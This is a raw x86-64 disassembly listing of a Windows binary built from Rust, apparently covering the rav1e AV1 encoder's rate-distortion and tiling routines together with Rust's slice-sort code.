movupd xmmword [rdi + 3], xmm1
movups xmmword [rdi + 0x13], xmm2
movupd xmmword [rbx + 0x340], xmm0
mov ecx, esi
call fcn.140080ff1
mov r14, rax
mov ecx, esi
call fcn.14008100c
lea rcx, [rbx + 0x5d0]
lea rdx, [rbx + 0x340]
mov r8, r14
mov r9, rax
call fcn.14007c6ca
cmp r12b, 0xc
ja 0x1400c8b03
mov dword [rbx + r13*4 + 0x7c0], eax
jmp 0x1400c73a3
movaps xmm0, xmmword [rbx + 0x7c0]
movapd xmm1, xmmword [rbx + 0x7d0]
movaps xmm2, xmmword [rbx + 0x7e0]
movaps xmmword [rbx + 0x340], xmm0
movapd xmmword [rbx + 0x350], xmm1
movaps xmmword [rbx + 0x360], xmm2
mov eax, dword [rbx + 0x7f0]
mov dword [rbx + 0x370], eax
mov r8d, dword [rbx + 0x1a8]
mov rcx, qword [rbx + 0x108]
lea rdx, [rbx + 0x1ac]
call fcn.1400e147f
mov qword [rbx + 0x140], rax
mov r12, rdx
lea rax, [rbx + 0x340]
mov qword [rbx + 0x7c0], rax
cmp rdx, 0x15
jae 0x1400c770b
cmp r12, 1
mov r14b, byte [rbx + 0x218]
jbe 0x1400c7c9a
push 1
pop r8
lea r9, [rbx + 0x7c0]
mov rcx, qword [rbx + 0x140]
mov rdx, r12
call fcn.1400e263e
jmp 0x1400c7c9a
mov rsi, r12
shr rsi, 1
push 1
pop rcx
mov rdx, rsi
call fcn.1400710da
test rax, rax
je 0x1400c908e
mov rdi, rax
mov qword [rbx + 0x238], rsi
push 8
pop rcx
mov edx, 0x100
call fcn.1400710da
test rax, rax
mov qword [rbx + 0x100], rdi
je 0x1400c90a8
mov rsi, rax
push 0x10
pop r15
xor eax, eax
mov qword [rbx + 0xf0], rax
xor r14d, r14d
mov qword [rbx + 0x118], r12
cmp r14, r12
jae 0x1400c7c79
mov qword [rbx + 0x160], rsi
mov qword [rbx + 0x168], r15
mov rcx, r14
mov rdx, qword [rbx + 0x140]
mov r8, r12
call fcn.1400e2563
mov r13, rsi
mov rdi, rdx
cmp rdx, 2
jae 0x1400c77ab
lea rax, [rdi + r14]
mov qword [rbx + 0x188], rax
jmp 0x1400c7893
mov rsi, rax
mov r8b, byte [rax]
mov dl, byte [rax + 1]
mov qword [rbx + 0x160], r13
mov qword [rbx + 0x168], r15
lea rcx, [rbx + 0x7c0]
call fcn.140111a0b
push 2
pop r12
test al, al
je 0x1400c7807
cmp r12, rdi
je 0x1400c783f
mov r8b, byte [rsi + r12 - 1]
mov dl, byte [rsi + r12]
mov qword [rbx + 0x160], r13
mov qword [rbx + 0x168], r15
lea rcx, [rbx + 0x7c0]
call fcn.140111a0b
test al, al
je 0x1400c783c
inc r12
jmp 0x1400c77d6
cmp r12, rdi
je 0x1400c779b
mov r8b, byte [rsi + r12 - 1]
mov dl, byte [rsi + r12]
mov qword [rbx + 0x160], r13
mov qword [rbx + 0x168], r15
lea rcx, [rbx + 0x7c0]
call fcn.140111a0b
test al, al
jne 0x1400c7c71
inc r12
jmp 0x1400c7807
mov rdi, r12
lea rdx, [rdi + r14]
mov rsi, r13
mov qword [rbx + 0x160], r13
mov qword [rbx + 0x168], r15
lea rax, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
mov qword [rsp + 0x20], rax
mov rcx, r14
mov qword [rbx + 0x188], rdx
mov r8, qword [rbx + 0x140]
mov r9, qword [rbx + 0x118]
call fcn.140085969
mov qword [rbx + 0x160], rsi
mov qword [rbx + 0x168], r15
mov rcx, rax
call fcn.1400e2590
mov rcx, qword [rbx + 0x188]
cmp rcx, r14
mov rax, qword [rbx + 0x118]
jb 0x1400c8f1a
cmp rcx, rax
ja 0x1400c8f1a
jae 0x1400c7928
cmp rdi, 9
ja 0x1400c7928
mov rsi, r13
lea rdx, [r14 + 0xa]
mov r9, qword [rbx + 0x118]
cmp rdx, r9
cmovae rdx, r9
mov qword [rbx + 0x160], r13
mov qword [rbx + 0x168], r15
lea rax, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
mov qword [rsp + 0x20], rax
mov rcx, r14
mov qword [rbx + 0x188], rdx
mov r8, qword [rbx + 0x140]
call fcn.140085969
cmp rdi, 1
adc rdi, 0
mov qword [rbx + 0x160], rsi
mov qword [rbx + 0x168], r15
mov rcx, rax
mov r8, rdi
lea r9, [rbx + 0x7c0]
call fcn.1400e263e
mov rdi, qword [rbx + 0xf0]
cmp rdi, r15
jne 0x1400c799c
mov qword [rbx + 0x108], r14
lea rax, [r15 + r15]
mov qword [rbx + 0x110], rax
mov rdx, r15
shl rdx, 5
push 8
pop r14
mov rcx, r14
call fcn.1400710da
test rax, rax
mov r12, qword [rbx + 0x118]
je 0x1400c8fc8
mov rsi, rax
shl r15, 4
mov rcx, rax
mov rdi, r13
mov rdx, r13
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
mov rcx, r13
mov rdx, r14
call fcn.140001b50
mov rdi, qword [rbx + 0xf0]
mov r14, qword [rbx + 0x108]
jmp 0x1400c79ad
mov qword [rbx + 0x110], r15
mov r12, qword [rbx + 0x118]
mov rsi, r13
mov rax, qword [rbx + 0x188]
sub rax, r14
mov rcx, rdi
shl rcx, 4
mov qword [rsi + rcx], rax
mov qword [rsi + rcx + 8], r14
inc rdi
mov qword [rbx + 0x180], rsi
mov rcx, rsi
mov rdx, rdi
mov r8, r12
call fcn.14003e0ab
cmp rax, 1
mov qword [rbx + 0xf0], rdi
jne 0x1400c7c57
mov r8, rdx
mov qword [rbx + 0x160], rsi
mov r15, qword [rbx + 0x110]
mov qword [rbx + 0x168], r15
mov rcx, rsi
mov rdx, rdi
mov qword [rbx + 0x108], r8
lea r9, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
call fcn.14003cd10
mov r14, qword [rax]
mov rdi, qword [rax + 8]
mov rax, qword [rbx + 0x108]
lea r12, [rax + 1]
mov qword [rbx + 0x160], rsi
mov qword [rbx + 0x168], r15
mov rcx, rsi
mov rdx, qword [rbx + 0xf0]
mov r8, r12
lea r9, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
call fcn.14003cd10
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov qword [rbx + 0x130], rcx
add rdx, rcx
mov qword [rbx + 0x160], rsi
mov qword [rbx + 0x168], r15
lea rax, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
mov qword [rsp + 0x20], rax
mov rcx, rdi
mov r8, qword [rbx + 0x140]
mov r9, qword [rbx + 0x118]
call fcn.140085969
mov r13, rax
mov r15, rdx
mov qword [rbx + 0x170], r12
mov qword [rbx + 0x1a0], rdi
lea rsi, [rax + r14]
mov r12, rax
add r12, rdx
sub r15, r14
cmp r15, r14
mov qword [rbx + 0x138], r14
jae 0x1400c7b4c
mov rdi, qword [rbx + 0x100]
mov rcx, rdi
mov rdx, rsi
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
add r15, rdi
cmp rsi, r13
jbe 0x1400c7bb8
cmp r15, rdi
jbe 0x1400c7bb8
mov dl, byte [r15 - 1]
mov r8b, byte [rsi - 1]
mov qword [rbx + 0x258], rsi
mov qword [rbx + 0x260], r15
mov qword [rbx + 0x268], rdi
lea rcx, [rbx + 0x7c0]
call fcn.140111a0b
movzx eax, al
sub rsi, rax
mov ecx, eax
xor cl, 1
movzx ecx, cl
sub r15, rcx
test al, al
mov rax, r15
cmovne rax, rsi
mov al, byte [rax]
mov byte [r12 - 1], al
dec r12
mov rdi, qword [rbx + 0x100]
jmp 0x1400c7ae4
mov rdi, qword [rbx + 0x100]
mov rcx, rdi
mov rdx, r13
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
lea r15, [rdi + r14]
cmp rdi, r15
jae 0x1400c7bbb
cmp rsi, r12
jae 0x1400c7bbb
mov dl, byte [rsi]
mov r8b, byte [rdi]
mov qword [rbx + 0x258], r13
mov qword [rbx + 0x260], r15
mov qword [rbx + 0x268], rdi
lea rcx, [rbx + 0x7c0]
call fcn.140111a0b
mov rcx, rsi
test al, al
jne 0x1400c7b9f
mov rcx, rdi
mov cl, byte [rcx]
mov byte [r13], cl
inc r13
movzx ecx, al
add rsi, rcx
xor al, 1
movzx eax, al
add rdi, rax
jmp 0x1400c7b65
mov r13, rsi
sub r15, rdi
mov rcx, r13
mov rdx, rdi
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
mov rdi, qword [rbx + 0xf0]
mov rcx, qword [rbx + 0x170]
cmp rdi, rcx
mov rsi, qword [rbx + 0x180]
mov rdx, qword [rbx + 0x110]
mov rax, qword [rbx + 0x138]
jbe 0x1400c8cca
shl rcx, 4
mov r8, qword [rbx + 0x130]
add r8, rax
mov qword [rsi + rcx], r8
mov rax, qword [rbx + 0x1a0]
mov qword [rsi + rcx + 8], rax
mov r8, qword [rbx + 0x108]
cmp rdi, r8
jbe 0x1400c8d11
mov rax, r8
shl rax, 4
lea rcx, [rsi + rax]
lea rdx, [rsi + rax]
add rdx, 0x10
not r8
add r8, rdi
shl r8, 4
call sub.VCRUNTIME140.dll_memmove
dec rdi
mov r12, qword [rbx + 0x118]
jmp 0x1400c79d1
mov r15, qword [rbx + 0x110]
mov r14, qword [rbx + 0x188]
mov rdi, qword [rbx + 0x100]
jmp 0x1400c7766
mov rdi, r12
jmp 0x1400c779b
mov rcx, rsi
mov rdx, r15
call fcn.14003cc4d
mov rcx, rdi
mov rdx, qword [rbx + 0x238]
call fcn.140022c4e
mov r14b, byte [rbx + 0x218]
mov r13d, dword [rbx + 0x1a8]
mov rax, qword [rbx + 0x210]
cmp rax, r13
cmovb r13, rax
xor r12d, r12d
lea rdi, [rbx + 0x7c0]
xor r14b, 1
xor esi, esi
cmp rsi, r13
je 0x1400c7de1
mov r15b, byte [rbx + rsi + 0x1ac]
xor eax, eax
cmp rax, 2
je 0x1400c7ce5
and dword [rbx + rax*4 + 0x340], 0
inc rax
jmp 0x1400c7cd2
and qword [rbx + 0x7c0], 0
mov rcx, rdi
mov edx, r15d
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
call fcn.1400e14ac
test r15b, r15b
sete al
or al, r14b
jne 0x1400c7d1b
mov rcx, rdi
xor edx, edx
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
call fcn.1400e14ac
inc rsi
mov r8b, byte [rbx + 0xff]
mov r9, qword [rbx + 0x1c8]
mov rax, qword [rbx + 0x1d0]
mov cl, byte [rbx + 0xee]
mov edx, dword [rbx + 0x7c0]
and dword [rbx + 0xb6c], 0
mov r10, qword [rbx + 0x340]
mov qword [rsp + 0x68], rdx
mov qword [rsp + 0x50], r10
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x90], r12b
mov byte [rsp + 0x88], r12b
lea rax, [rbx + 0xb00]
mov qword [rsp + 0x80], rax
lea rax, [rbx + 0x7c4]
mov qword [rsp + 0x60], rax
lea rax, [rbx + 0x270]
mov qword [rsp + 0x48], rax
lea rax, [rbx + 0xa50]
mov qword [rsp + 0x40], rax
mov byte [rsp + 0x38], cl
and qword [rsp + 0x78], 0
mov rax, qword [rbx + 0x178]
mov qword [rsp + 0x30], rax
mov rax, qword [rbx + 0x148]
mov qword [rsp + 0x28], rax
mov byte [rsp + 0x70], 1
mov word [rsp + 0x58], 0x800
mov ecx, r15d
mov rdx, qword [rbx + 0x128]
call fcn.1400e14ed
jmp 0x1400c7cbf
mov rax, qword [rbx + 0x128]
mov rax, qword [rax + 0x2b8]
cmp byte [rax + 0x46], 0
je 0x1400c7f63
mov cl, byte [rbx + 0xff]
call fcn.1400c502f
test al, al
je 0x1400c7f63
mov r15b, byte [rbx + 0x299]
mov al, byte [rbx + 0x29a]
add r15b, 0xf7
lea r9d, [rax - 9]
xor ecx, ecx
mov rdx, qword [rbx + 0x128]
mov r8, qword [rbx + 0x148]
cmp rcx, 2
je 0x1400c7e44
and dword [rbx + rcx*4 + 0x340], 0
inc rcx
jmp 0x1400c7e31
cmp r15b, 0xf8
push 1
pop rcx
push 7
pop r14
mov r12d, r14d
cmovb r12d, ecx
mov dword [rbx + 0x100], r9d
cmp r9b, 0xf8
cmovb r14d, ecx
mov byte [rbx + 0x718], al
lea rsi, [rbx + 0x7c0]
lea rax, [rbx + 0x270]
mov qword [rsi], rax
mov qword [rsi + 8], rdx
lea rax, [rbx + 0xff]
mov qword [rsi + 0x10], rax
lea rax, [rbx + 0x1c8]
mov qword [rsi + 0x18], rax
mov qword [rsi + 0x20], r8
mov rax, qword [rbx + 0x178]
mov qword [rsi + 0x28], rax
lea rax, [rbx + 0xee]
mov qword [rsi + 0x30], rax
lea rax, [rbx + 0xa50]
mov qword [rsi + 0x38], rax
lea rax, [rbx + 0x340]
mov qword [rsi + 0x40], rax
and dword [rbx + 0xb6c], 0
mov word [rbx + 0x5d0], 0x800
lea rax, [rbx + 0x5d0]
mov qword [rsi + 0x48], rax
mov al, byte [rbx + 0x294]
mov r8b, byte [rbx + 0x295]
lea rcx, [rbx + 0x718]
mov qword [rsi + 0x50], rcx
lea rcx, [rbx + 0xb00]
mov qword [rsi + 0x58], rcx
xor r13d, r13d
xor edi, edi
cmp dil, r12b
jae 0x1400c7f2c
lea eax, [rdi - 3]
cmp r15b, 0xf8
movzx edx, al
cmovb edx, r13d
mov rcx, rsi
call fcn.1400e17d2
mov r8d, edx
inc dil
jmp 0x1400c7f09
xor edi, edi
lea rsi, [rbx + 0x7c0]
xor r15d, r15d
mov r12d, dword [rbx + 0x100]
cmp r15b, r14b
jae 0x1400c7f63
lea ecx, [r15 - 3]
cmp r12b, 0xf8
movzx r8d, cl
cmovb r8d, edi
mov rcx, rsi
mov edx, eax
call fcn.1400e17d2
inc r15b
jmp 0x1400c7f3f
movaps xmm0, xmmword [rbx + 0x270]
movapd xmm1, xmmword [rbx + 0x280]
movaps xmm2, xmmword [rbx + 0x290]
movaps xmmword [rbx + 0x200], xmm2
movapd xmmword [rbx + 0x1f0], xmm1
movaps xmmword [rbx + 0x1e0], xmm0
mov rdi, qword [rbp + 0x13f0]
mov dl, byte [rbx + 0x218]
mov al, byte [rbx + 0x209]
mov byte [rbx + 0x100], al
cmp al, 0xe
setb al
test dl, al
je 0x1400c8841
mov sil, byte [rbp + 0x13e0]
mov ecx, esi
call fcn.1400cdf25
test al, al
je 0x1400c8848
mov rax, qword [rbx + 0x178]
mov r14, qword [rax + 0x1278]
mov r15b, byte [rbx + 0x208]
mov ecx, esi
call fcn.1400c2707
mov rdi, rax
mov ecx, esi
call fcn.1400c2719
mov r8, qword [rbp + 0x13e8]
lea rcx, [rdi + r8]
mov rdx, qword [r14 + 0x18]
mov rsi, rdx
sub rsi, r8
cmp rcx, rdx
cmovb rsi, rdi
mov rdi, rax
add rsi, r8
xor eax, eax
lea r12, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_tiling_tile_blocks.rs
cmp rax, rdi
je 0x1400c8078
lea r13, [rax + 1]
mov rcx, rax
add rcx, qword [rbp + 0x13f0]
mov rax, r13
cmp rcx, qword [r14 + 0x20]
jae 0x1400c801c
imul rcx, qword [r14 + 0x28]
imul r8, rcx, 0x1e
add r8, qword [r14]
mov r9, qword [r14 + 0x18]
mov qword [rsp + 0x20], r12
mov rcx, qword [rbp + 0x13e8]
mov rdx, rsi
call fcn.140091bea
imul rcx, rdx, 0x1e
test rcx, rcx
je 0x1400c8073
mov byte [rax + 0x18], r15b
add rax, 0x1e
add rcx, 0xffffffffffffffe2
jmp 0x1400c8060
mov rax, r13
jmp 0x1400c801c
mov r13, qword [rbx + 0x230]
mov r9d, dword [r13 + 0x230]
lea r12, [rbx + 0x340]
mov rcx, r12
mov r15, qword [rbx + 0x178]
mov rdx, r15
mov r14, qword [rbp + 0x13e8]
mov r8, r14
call fcn.140074cc5
movabs rax, 0xfff7800000000000
lea r9, [rbx + 0x2b8]
mov qword [r9 + 8], rax
and qword [r9], 0
mov r8b, byte [rbx + 0x204]
mov dl, byte [rbx + 0x209]
mov r10b, byte [rbx + 0x20c]
mov r11b, byte [rbx + 0x20d]
mov al, 1
mov byte [rsp + 0x88], al
mov ecx, dword [rbx + 0x1c4]
mov byte [rsp + 0x80], cl
mov byte [rsp + 0x78], al
xor eax, eax
mov byte [rsp + 0x68], al
mov byte [rbx + 0x188], r11b
mov byte [rsp + 0x60], r11b
mov byte [rbx + 0x140], r10b
mov byte [rsp + 0x58], r10b
mov cl, byte [rbp + 0x13e0]
mov byte [rsp + 0x50], cl
mov rdi, qword [rbp + 0x13f0]
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], r14
mov byte [rsp + 0x38], al
mov byte [rbx + 0x180], r8b
mov byte [rsp + 0x30], r8b
mov byte [rsp + 0x28], dl
mov byte [rbx + 0x100], dl
mov byte [rsp + 0x20], dl
mov dword [rsp + 0x70], 0x10001
mov rsi, qword [rbx + 0x128]
mov rcx, rsi
mov r14, qword [rbx + 0x148]
mov rdx, r14
mov r8, r15
call fcn.1400d9ea5
mov rcx, r15
mov rdx, r12
call fcn.140074eee
cmp dword [r13 + 0x230], 3
je 0x1400c8841
mov r12, qword [rbp + 0x13e8]
mov qword [rbx + 0x270], r12
mov qword [rbx + 0x278], rdi
mov rax, qword [r14 + 0x70]
mov r15, r14
mov r14, qword [rax + 0x90]
mov r8, qword [rax + 0x98]
mov qword [rbx + 0xf0], r8
mov cl, byte [rbp + 0x13e0]
mov rdx, r14
call fcn.140086baf
mov cl, byte [r15 + 0x2d0]
add cl, 0x3e
mov rdx, rdi
mov rdi, qword [r15 + 0x2c0]
mov r13, qword [r15 + 0x2c8]
shl rdi, cl
shl r13, cl
mov byte [rbx + 0xee], al
mov r15, qword [rsi + 0x240]
add r15, r14
mov ecx, r14d
shr r15, cl
add rdi, r12
add r13, rdx
mov r12, qword [rsi + 0x248]
mov rsi, qword [rbx + 0xf0]
add r12, rsi
mov ecx, esi
shr r12, cl
mov ecx, eax
call fcn.1400ce1b3
shl rdi, 2
mov ecx, r14d
shr rdi, cl
shl r13, 2
mov ecx, esi
shr r13, cl
mov qword [rsp + 0x20], r13
mov rcx, r15
mov rdx, r12
mov r8d, eax
mov r9, rdi
call fcn.140073837
mov qword [rbx + 0x220], rax
mov qword [rbx + 0x1c8], rdx
test rax, rax
je 0x1400c883a
test rdx, rdx
je 0x1400c883a
mov rsi, qword [rbx + 0x128]
movups xmm0, xmmword [rsi + 0x260]
movups xmmword [rsp + 0x30], xmm0
mov al, byte [rbx + 0x140]
mov byte [rsp + 0x28], al
mov al, byte [rbp + 0x13e0]
mov byte [rsp + 0x20], al
and al, 0x20
lea rcx, [rbx + 0xb00]
mov r14, qword [rbx + 0x148]
mov rdx, r14
mov r8, qword [rbp + 0x13e8]
mov rdi, qword [rbp + 0x13f0]
mov r9, rdi
call fcn.1400d858f
mov qword [rbx + 0x110], rax
mov qword [rbx + 0x138], rdx
and qword [rbx + 0x1a8], 0
lea rax, [r14 + 0x120]
mov qword [rbx + 0x170], rax
mov rax, qword [rsi + 0x2b0]
mov qword [rbx + 0x130], rax
lea rax, [r14 + 0x78]
mov qword [rbx + 0x1a0], rax
push 1
pop rcx
xor eax, eax
xorps xmm6, xmm6
xor edx, edx
cmp rcx, 2
ja 0x1400c85bc
mov qword [rbx + 0xf0], rdx
mov qword [rbx + 0x108], rax
imul rdi, rcx, 0x30
inc rcx
mov qword [rbx + 0x118], rcx
mov r11, r14
mov r13, qword [rbx + 0x170]
add byte [rsi - 0x73], cl
xor al, 0x2f
mov r12, qword [r13 + rdi]
mov cl, byte [r11 + 0x2d0]
mov r8, qword [r11 + 0x2c0]
mov r9, qword [r11 + 0x2c8]
shl r8, cl
shl r9, cl
mov al, byte [r12 + 0x20]
mov dl, byte [r12 + 0x28]
mov r10, qword [r11 + 0x2f8]
mov r11, qword [r11 + 0x300]
mov ecx, eax
shr r8, cl
mov ecx, edx
shr r9, cl
mov ecx, eax
shr r10, cl
mov ecx, edx
shr r11, cl
mov qword [rbx + 0x2e8], r8
mov qword [rbx + 0x2f0], r9
mov qword [rbx + 0x2f8], r10
mov qword [rbx + 0x300], r11
mov rsi, qword [rbx + 0x270]
mov r15, qword [rbx + 0x278]
mov r8, qword [r12 + 0x20]
mov r9, qword [r12 + 0x28]
mov rcx, rsi
mov rdx, r15
call fcn.14007df20
mov rcx, qword [r13 + rdi + 8]
movups xmm0, xmmword [r13 + rdi + 0x20]
lea r8, [rbx + 0x5e0]
movups xmmword [r8 + 0x10], xmm0
movups xmm0, xmmword [r13 + rdi + 0x10]
movups xmmword [r8], xmm0
mov qword [rbx + 0x5d8], rcx
mov qword [rbx + 0x5d0], r12
mov cl, byte [rbx + 0xee]
mov r9, qword [rbx + 0x130]
mov r8, qword [r9 + 0x1f0]
mov r9b, byte [r9 + 0x264]
mov byte [rsp + 0x68], r9b
mov qword [rsp + 0x58], r8
mov byte [rsp + 0x50], cl
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x40], rax
mov al, byte [rbp + 0x13e0]
mov byte [rsp + 0x38], al
movups xmmword [rsp + 0x28], xmm6
mov qword [rsp + 0x20], r15
mov dword [rsp + 0x70], 2
mov byte [rsp + 0x60], 0xd
lea r15, [rbx + 0x718]
mov rcx, r15
lea rdx, [rbx + 0x7c0]
lea r13, [rbx + 0x5d0]
mov r8, r13
mov r9, rsi
call fcn.140081f79
add rdi, qword [rbx + 0x1a0]
mov qword [rbx + 0x5d0], r14
lea rax, [rbx + 0x270]
mov qword [rbx + 0x5d8], rax
mov dword [rbx + 0x5d8], eax
lea rax, [rbx + 0x2e8]
mov qword [rbx + 0x5e0], rax
lea rax, [rbx + 0xee]
mov qword [rbx + 0x5e8], rax
mov rax, qword [rbx + 0x128]
mov qword [rbx + 0x5f0], rax
mov rax, qword [rbx + 0x110]
mov qword [rbx + 0x5f8], rax
mov rax, qword [rbx + 0x138]
mov qword [rbx + 0x600], rax
mov qword [rbx + 0x608], r15
mov qword [rbx + 0x610], rdi
lea rax, [rbx + 0x220]
mov qword [rbx + 0x618], rax
lea rax, [rbx + 0x1c8]
mov qword [rbx + 0x620], rax
xor r12d, r12d
mov rcx, r13
xor edx, edx
call fcn.140082ca8
and word [rbx + 0x124], 0
mov r15, rax
mov dword [rbx + 0x120], 0x100001
mov r13w, 2
lea rcx, [rbx + 0x120]
call case.0x1400617de.64
test ax, ax
je 0x1400c857a
mov esi, edx
lea rcx, [rbx + 0x5d0]
call fcn.140082ca8
mov r14, rax
mov edi, esi
neg edi
lea rcx, [rbx + 0x5d0]
mov edx, edi
call fcn.140082ca8
lea ecx, [r13 + 2]
cmp r14, r15
cmovb r15, r14
cmovae ecx, r13d
cmovb r12d, esi
lea r13d, [rcx + 2]
cmp rax, r15
cmovb r15, rax
cmovae r13d, ecx
cmovb r12d, edi
cmp r13w, si
jge 0x1400c851a
mov rdx, qword [rbx + 0xf0]
cmp rdx, 4
mov rdi, qword [rbp + 0x13f0]
je 0x1400c8fee
mov word [rbx + rdx + 0x1a8], r12w
add rdx, 2
mov rax, qword [rbx + 0x108]
inc rax
mov r14, qword [rbx + 0x148]
mov rcx, qword [rbx + 0x118]
jmp 0x1400c8302
mov dword [rbx + 0x1ac], eax
mov rcx, qword [rbx + 0x1a8]
mov rdx, rcx
shr rdx, 0x20
je 0x1400c8e37
mov eax, ecx
shr eax, 0x10
test cx, cx
je 0x1400c85f4
cmp edx, 1
jne 0x1400c8608
push 1
pop rcx
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
call fcn.1401c6eb0
invalid
invalid
invalid
cmp edx, 1
je 0x1400c8e58
test ax, ax
je 0x1400c8841
xor ecx, ecx
mov edx, eax
call fcn.1400e139f
mov edx, eax
cmp dl, 3
mov r12, qword [rbx + 0x128]
je 0x1400c8841
mov r13, rdi
lea rcx, [rbx + 0xb00]
movabs rax, 0xfff7800000000000
mov qword [rcx + 8], rax
and qword [rcx], 0
mov edi, edx
call fcn.1400d9e5a
mov dword [rbx + 0xf0], eax
mov rsi, r14
mov r14b, byte [rbx + 0x20e]
mov rax, qword [rbx + 0x230]
mov cl, byte [rax + 0x26d]
mov rdx, qword [rsi + 0x1b0]
mov byte [rsp + 0x38], r14b
mov qword [rsp + 0x30], r13
mov rax, qword [rbp + 0x13e8]
mov qword [rsp + 0x28], rax
mov r15b, byte [rbp + 0x13e0]
mov byte [rsp + 0x20], r15b
mov r15, qword [rbx + 0x178]
mov r8, r15
lea r9, [rbx + 0xb00]
call fcn.14010f437
movzx eax, word [rbx + 0x206]
mov rcx, qword [rbx + 0x1f8]
mov edx, dword [rbx + 0x1c4]
mov byte [rsp + 0xa0], dl
mov dl, byte [rbx + 0x188]
mov byte [rsp + 0x80], dl
mov dl, byte [rbx + 0x140]
mov byte [rsp + 0x78], dl
mov dword [rbx + 0x108], edi
mov dword [rsp + 0x70], edi
mov byte [rsp + 0x68], r14b
mov qword [rsp + 0x60], r13
mov rdx, qword [rbp + 0x13e8]
mov qword [rsp + 0x58], rdx
mov dl, byte [rbp + 0x13e0]
mov byte [rsp + 0x50], dl
mov qword [rsp + 0x48], rcx
mov word [rsp + 0x40], ax
xor eax, eax
mov byte [rsp + 0x38], al
mov al, byte [rbx + 0x180]
mov byte [rsp + 0x30], al
mov al, byte [rbx + 0x100]
mov byte [rsp + 0x20], al
mov byte [rsp + 0xa8], 1
and qword [rsp + 0x98], 0
mov qword [rsp + 0x90], 4
and qword [rsp + 0x88], 0
mov byte [rsp + 0x28], 0xd
mov rcx, r12
mov rdx, rsi
mov r8, r15
lea rdi, [rbx + 0xb00]
mov r9, rdi
call fcn.1400dec40
mov r14d, eax
mov rcx, rdi
call fcn.1400d9e5a
mov edi, eax
sub edi, dword [rbx + 0xf0]
xor eax, eax
mov byte [rsp + 0x30], al
mov qword [rsp + 0x28], r13
mov rax, qword [rbp + 0x13e8]
mov qword [rsp + 0x20], rax
mov rcx, r12
mov rdx, rsi
mov r8b, byte [rbp + 0x13e0]
mov r9b, 1
call fcn.1400daf44
cvtsi2sd xmm1, rdi
mulsd xmm1, qword [0x1401cdff8]
movq xmm2, rax
punpckldq xmm2, xmmword [0x1401cdab0]
subpd xmm2, xmmword [0x1401cdac0]
movsd xmm0, qword [r12 + 0x290]
haddpd xmm2, xmm2
call sub.api_ms_win_crt_math_l1_1_0.dll_fma
movsd xmm1, qword [rbx + 0x1f0]
ucomisd xmm1, xmm0
jbe 0x1400c8827
mov ecx, dword [rbx + 0x108]
mov eax, ecx
shr eax, 8
movsd qword [rbx + 0x1f0], xmm0
mov byte [rbx + 0x20a], 0xd
mov byte [rbx + 0x205], 0
and r14b, 1
mov byte [rbx + 0x20f], r14b
mov byte [rbx + 0x200], cl
mov word [rbx + 0x201], ax
shr eax, 0x10
mov byte [rbx + 0x203], al
lea rdx, [rbx + 0x340]
mov rcx, qword [rbx + 0x178]
call fcn.140074eee
mov rdi, qword [rbp + 0x13f0]
mov sil, byte [rbp + 0x13e0]
mov rax, qword [rbx + 0x178]
mov r12, qword [rax + 0x1278]
mov ecx, esi
call fcn.1400c2707
mov r15, rax
mov ecx, esi
call fcn.1400c2719
mov rdx, qword [rbp + 0x13e8]
lea r8, [r15 + rdx]
mov rcx, qword [r12 + 0x18]
mov r14, rcx
sub r14, rdx
mov qword [rbx + 0x108], r8
cmp r8, rcx
mov qword [rbx + 0xf0], r15
cmovb r14, r15
mov rsi, rax
add r14, rdx
xor eax, eax
lea r15, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_tiling_tile_blocks.rs
cmp rax, rsi
je 0x1400c8902
pop rsp
lea r13, [rax + 1]
mov rcx, rax
add rcx, rdi
mov rax, r13
cmp rcx, qword [r12 + 0x20]
jae 0x1400c88a1
imul rcx, qword [r12 + 0x28]
imul r8, rcx, 0x1e
add r8, qword [r12]
mov r9, qword [r12 + 0x18]
mov qword [rsp + 0x20], r15
mov rcx, qword [rbp + 0x13e8]
mov rdx, r14
call fcn.140091bea
imul rcx, rdx, 0x1e
mov dl, byte [rbx + 0x100]
test rcx, rcx
je 0x1400c88fd
mov byte [rax + 0x19], dl
add rax, 0x1e
add rcx, 0xffffffffffffffe2
jmp 0x1400c88eb
mov rax, r13
jmp 0x1400c88a1
mov rax, qword [rbx + 0x178]
mov r12, qword [rax + 0x1278]
movzx r13d, word [rbx + 0x206]
add al, byte [rax]
add byte [rcx - 0x75], cl
and al, 0x18
mov r14, rax
mov rcx, qword [rbp + 0x13e8]
sub r14, rcx
cmp qword [rbx + 0x108], rax
cmovb r14, qword [rbx + 0xf0]
lock add byte [rax], al
add byte [rcx + 1], cl
invalid
xor eax, eax
cmp rax, rsi
je 0x1400c899f
lea rdi, [rax + 1]
mov rcx, rax
add rcx, qword [rbp + 0x13f0]
mov rax, rdi
cmp rcx, qword [r12 + 0x20]
jae 0x1400c893e
imul rcx, qword [r12 + 0x28]
imul r8, rcx, 0x1e
add r8, qword [r12]
mov r9, qword [r12 + 0x18]
mov qword [rsp + 0x20], r15
mov rcx, qword [rbp + 0x13e8]
mov rdx, r14
call fcn.140091bea
imul rcx, rdx, 0x1e
test rcx, rcx
je 0x1400c899a
mov word [rax + 0xc], r13w
add rax, 0x1e
add rcx, 0xffffffffffffffe2
jmp 0x1400c8986
mov rax, rdi
jmp 0x1400c893e
